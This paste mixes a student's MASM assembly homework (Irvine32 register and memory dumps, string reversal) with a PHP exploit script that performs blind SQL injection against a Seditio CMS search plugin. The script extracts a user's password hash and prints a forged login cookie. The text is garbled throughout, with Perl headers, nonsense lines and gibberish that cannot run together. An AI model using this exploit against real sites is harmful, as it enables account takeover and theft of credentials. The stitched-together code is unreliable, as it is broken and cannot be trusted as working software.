rendered paste body#! usr/bin/perl
use IO::Socket;
use lib "Perl/lib/asm";
INCLUDE Irvine32.inc
.data
val1 SDWORD 8
val2 SDWORD -15
val3 SDWORD 20
source byte "This is the source string",0
target byte SIZEOF source DUP(0)
nameSize = ($ - source) - 1
msgIntro byte "This is My Name's second assembly program and I will",0dh,0ah
byte "demonstrate how to dump the registers using questions 1",0dh,0ah
byte "on page 96, question 1 on page 133, and question 7 and 8",0dh,0ah
byte "on page 134.",0dh,0ah
byte 0dh,0ah,0
msg1 byte "------------------------------------",0dh,0ah
byte "Demonstrating question 1 on page 96.",0dh,0ah
byte "------------------------------------",0dh,0ah,0
msg2 byte "-------------------------------------",0dh,0ah
byte "Demonstrating question 1 on page 133.",0dh,0ah
byte "-------------------------------------",0dh,0ah,0
msgAdd byte "Adding 0FFh and 1h in register al to set carry flag",0dh,0ah,0
msgSub byte "Subtracting 3h from 2h in register ax to set carry flag",0dh,0ah,0
msg3 byte "-------------------------------------",0dh,0ah
byte "Demonstrating question 7 on page 134.",0dh,0ah
byte "-------------------------------------",0dh,0ah,0
msgExpr byte "Solving expression EAX = -val2 + 7 - val3 + val1",0dh,0ah,0
msg4 byte "-------------------------------------",0dh,0ah
byte "Demonstrating question 8 on page 134.",0dh,0ah
byte "-------------------------------------",0dh,0ah,0
normOrd byte "Normal order:",0dh,0ah,0
revOrd byte "Reverse order:",0dh,0ah,0
.code
main PROC
;///////Intro Message/////////////////////////////////
mov edx,OFFSET msgIntro ;intro message into edx
call WriteString ;display msgIntro
;///////Question 1 on page 96/////////////////////////
mov edx,OFFSET msg1 ;message 1 into edx
call WriteString ;display msg1
mov eax, 1000h ;1000h
mov ebx, 4000h ;4000h
mov ecx, 2000h ;2000h
sub ebx, eax ;4000h-1000h = 3000h
sub ebx, ecx ;3000h-2000h = 1000h
call DumpRegs ;display the registers
call WaitMsg ;use call WaitMsg from page 146 to pause
;///////Question 1 on page 133/////////////////////////
mov edx,OFFSET msg2 ;message 2 into edx
call WriteString ;display msg2
;Add to get carry flag
mov edx,OFFSET msgAdd ;message Add into edx
call WriteString ;display msgAdd
mov al,0FFh
add al,1h ;al=100h CF=1 Because result of add is 100 so only 00
;can go in the al register so the 1 is carried over
call DumpRegs ;display registers
;//Subtract to get carry flag
mov edx,OFFSET msgSub ;message Sub into edx
call WriteString ;display msgSub
mov ax,2h
sub ax,3h ;ax=FFFFh CF=1 Because larger int - from smaller int
call DumpRegs ;display the registers
call WaitMsg ;use call WaitMsg from page 146 to pause
;///////Question 7 on page 134/////////////////////////
mov edx,OFFSET msg3 ;message 3 into edx
call WriteString ;display msg3
mov edx,OFFSET msgExpr ;message Expr into edx
call WriteString ;display msgExpr
mov eax,val2 ;mov val2 FFFFFFF1h in eax
neg eax ;change sign of val2 in eax 0Fh
add eax,7 ;add seven to eax 016h
sub eax,val3 ;subtract val3 from eax 02h
add eax,val1 ;add val1 to eax 0Ah
call DumpRegs ;display the registers
call WaitMsg ;use call WaitMsg from page 146 to pause
;///////Question 8 on page 134/////////////////////////
mov edx,OFFSET msg4 ;message 4 into edx
call WriteString ;display msg4
;//Using part of (CopyStr.asm) Pg.130-131 for reference
mov esi,0 ;index register
mov ecx,SIZEOF source ;loop counter
L1: ;//Loop
mov al,source[esi] ;get a character from source
mov target[esi],al ;store it in the target
inc esi ;move to next character
loop L1 ;repeat for entire string
;//Print in normal order
mov edx,OFFSET normOrd ;message normOrd into edx
call WriteString ;display normOrd
mov esi,OFFSET target ;offset of variable
mov ebx,1 ;byte format
mov ecx,SIZEOF target-1 ;counter
call DumpMem ;display the block of memory in hex
call WaitMsg ;use call WaitMsg from page 146 to pause
;//Using part of (RevString.asm) Pg.157-158 for reference
;//Print in reverse order
mov edx,OFFSET revOrd ;message revOrd into edx
call WriteString ;display revOrd
mov ecx,nameSize ;push source on the stack
mov esi,0
L2: ;//Loop
movzx eax,source[esi] ;get character from source[esi] put in eax
push eax ;push on stack
inc esi
loop L2
;//Pop name in reverse and store in array
mov ecx,nameSize
mov esi,0
L3: ;//Loop
pop eax ;get characters form eax
mov source[esi],al ;store in string
inc esi
loop L3
mov esi,OFFSET source ;offset of variable
mov ebx,1 ;byte format
mov ecx,SIZEOF source-1 ;counter
call DumpMem ;display the block of memory in hex
call, $PERL INLINE ASSEMBLY
%LOOP PILS
if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] OPTIONS\n\n";
echo "[url] - \n\n";
echo "OPTIONS:\n";
echo "-p=<prefix> - (default sed_)\n";
echo "-id=<id> - (default 1)\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/ -p=vb3_\n";
echo "php {$argv[0]} http://xxx:8080/ -id=2\n";
die;
}
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-p') $prefix = $exploded[1];
if ($exploded[0]=='-id') $id = $exploded[1];
}
}
if (!isset($prefix)) $prefix = "sed_";
if (!isset($id)) $id = 1;
$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
print("[~] Connecting... ");
if (!getchar("<1",$i,false)) print("OK\n");
else die("\n[-] Exploit failed\n");
print(" Getting hash...");
$hash='';
for ($i=1; $i<=32; $i++) {
if (!getchar(">57",$i)) {
$min = 48;
$max = 57; }
else {
$min = 97;
$max = 102; }
for($j=$min;$j<=$max;$j++) {
if (getchar("+LIKE+$j",$i)) {
$hash .= chr($j);
break;
}
}
}
print("[+] Done! hash - $hash\n");
print("[+] Cookie to log in: \nSEDITIO=".base64_encode($id.":_:".$hash.":_:ice")."\n");
function getchar($query,$pos,$status=true){
global $host,$path,$prefix,$id;
if ($status) status();
$data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
$data.= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
$data.= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
$data.= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
$packet = "POST {$path}plug.php?e=search&a=search HTTP/1.1\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=search\r\n";
$packet .= "User-Agent: InAttack User Agent\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
return (strpos(send($packet),'Subquery returns more than 1 row')===false) ? true : false;
}
$PRINT$ </.\>
success
(else)
INTRO ASM (*CALL mov eax+32[esi]10
FAILED
RESTART?
input(Y/N) ?